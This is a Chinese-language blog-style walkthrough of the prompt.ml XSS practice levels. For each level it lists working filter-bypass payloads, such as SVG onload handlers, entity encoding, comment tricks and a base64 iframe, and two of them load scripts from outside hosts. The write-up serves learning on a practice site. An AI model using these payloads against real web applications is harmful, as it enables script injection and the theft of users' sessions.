prompt.ml 练习

level0

这是一个很典型的利用 HTML 属性的题目。-。- 但是逗比如我的,跑上来直接来了个 " onload="prompt(1)。 囧。。。。后面我查了下资料发觉 input 没有 onload 事件。。。。。。。于是另想它法:"><img src='xx.png' onerror="prompt(1),然后又看了下参考答案"><svg/onload=prompt(1)>,参考答案里还提到一个适用于 IE10(及之前的) 的解决方案,IE10 在加载页面后几乎对所元素都会触发 resize 事件。所以还能这么玩 "onresize=prompt(1)>

level1

这题对 <\/?[^>]+> 这些符号做了过滤,然后我尝试着写了 "><img src='xx.png' onerror="prompt(1) ,然后 0.0 居然就过了。参考答案是 <svg/onload=prompt(1)

level2

这题居然把 等号 和 左边的括号也过滤了。。。。。几经尝试后,我表示无解看了参考答案: <svg><script>prompt&#40;1)</script> 啊哈,我终于明白为什么这么喜欢用 SVG 了。这题利用了 SVG 的 XML-ish 特性。SVG 中的实体都会被解析出来。

level3

= = HTML5 中 --!> 也能表示注释结束。 参考答案:--!><svg/onload=prompt(1)

level4

参考答案://prompt.ml%2f@ᄒ.ws/✌ 我这边无法验证。

level5

这题算是第一题的威力加强版,把 ‘>’ 和 onEvent= 都给过滤了。第一想法是利用换行来规避 onEvent= 的过滤,然后就没有然后了。。。。看了参考答案:

"type=image src onerror ="prompt(1)

可以覆盖 type 把它变成一个 img 类型,然后 src 报错即可。

level6

参考答案:javascript:prompt(1)#{"action":1} 原来 form 里的 action 也能执行 JavaScript 代码。

level7

参考答案是:

”><svg/a=#”onload=’/#/prompt(1)’

在第一段闭合了 p 标签并创立自己的新标签及属性,在第二段注释掉多余内容并监听load事件,在最后一段prompt(1)。

level8

通过特殊符号来实现的,参考答案:[U+2028]prompt(1)[U+2028]--> -。- 我无法验证通过。 http://tools.jb51.net/table/javascript_escape

level9

参考答案:<ſcript/ſrc=//⒕₨></ſcript> = = 我还是没法验证。

level10

= = 这道题好萌啊。。。。。 p'rompt(1)

level11

"(prompt(1))in"

level12

使用 base30 encode 。eval(630038579..toString(30))(1)

level13

levev14

利用 base64 火狐识别大写 BASE64

"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=

level15

level 7 的升级版

"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>